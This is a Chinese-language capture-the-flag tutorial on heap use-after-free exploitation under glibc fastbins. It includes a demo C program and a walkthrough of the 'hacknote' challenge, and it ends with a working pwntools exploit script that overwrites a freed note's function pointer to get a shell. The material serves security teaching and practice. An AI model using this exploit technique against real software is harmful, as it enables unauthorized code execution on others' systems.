堆、UAF之PWN从实验到原理
开局一段代码：
#include void func1(){ printf("func1");} void hack(){ printf("hack");} struct Pfunc{ void (*p)();}; int main(){ struct Pfunc* lpfunc = malloc(8); lpfunc->p = func1; lpfunc->p(); free(lpfunc); long* hack_point = malloc(8); *hack_point = hack; lpfunc->p(); return 0;}
编译32位：gcc -g -m32 test.c
猜一猜程序会怎么执行？
为啥会这样呢?
glibc的ptmalloc在管理释放的内存叫bin，申请的堆块叫chunk
其中小chunk内存管理器叫fastbins，使用的是 LIFO的规则，后进先出。所以申请同样大小的小chunk，会使用最后一次free的chunk
执行完free过后，fastbins中存放了刚刚free的指针0x804b000。
执行malloc(8)后，看到fastbins中的chunk指针没有了。
看下hack_point的地址，确实是刚刚free的地址，此时两个指针指向同一块内存。
为啥这两个指针=0x0804b008，而fastbins存的0x0804b000
在32位下chunk的结构：
struct chunk{ size_t 暂时不管; size_t size;//低3位不算长度 char user_data[0];}
刚好偏移是8。
ok，搞清楚原理了，来一道题：hacknote.程序提供了记事本功能。
其中add_note函数在notelist中找一个空位置用来写日记，但是删除日记del_note函数中却没有把指针置空。print_note函数可以使用已经free的指针，存在UAF漏洞。
现在的目标就是，把notelist[x]->pFunc= magic，然后使用已经free的notelist[x]。
具体操作如下：
1、因为noteNode的大小为8，如果想准确控制第二个noteNode的pFunc，那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样：
对照：
2、依次free note[0]，note[1]，试fastbins变成这样：
0x804b030是note[1]的chunk，0x804b000是note[0]的chunk
也就是之后malloc(8)的时候，第一次会得到0x804b030，第二次会得到0x804b000。
3、创建note[2]，使note的大小=8，此时note的地址是0x804b008，仔细看看这个地址，就是note[0]的pFunc。把magic的地址写入，
这时候note[0]->pFunc的值就是magic了。
4、执行print_note(0) 执行0号note的pFunc函数，getshell。
exp：
from pwn import * context.log_level = 'debug' sh = process("./hacknote")# sh = gdb.debug("./hacknote", "b *add_notec")elf = ELF("./hacknote") def add_note(size, note=b"123"): sh.sendlineafter(b"Your choice :", b"1") sh.sendlineafter(b"Note size :", str(size).encode()) sh.sendlineafter(b"Content :", note) def del_note(index): sh.sendlineafter(b"Your choice :", b"2") sh.sendlineafter(b"Index :", str(index).encode()) def print_note(index): sh.sendlineafter(b"Your choice :", b"3") sh.sendlineafter(b"Index :", str(index).encode()) add_note(24)add_note(24) del_note(0)del_note(1) add_note(8, p32(elf.sym["magic"]))print_note(0) sh.interactive()pause()
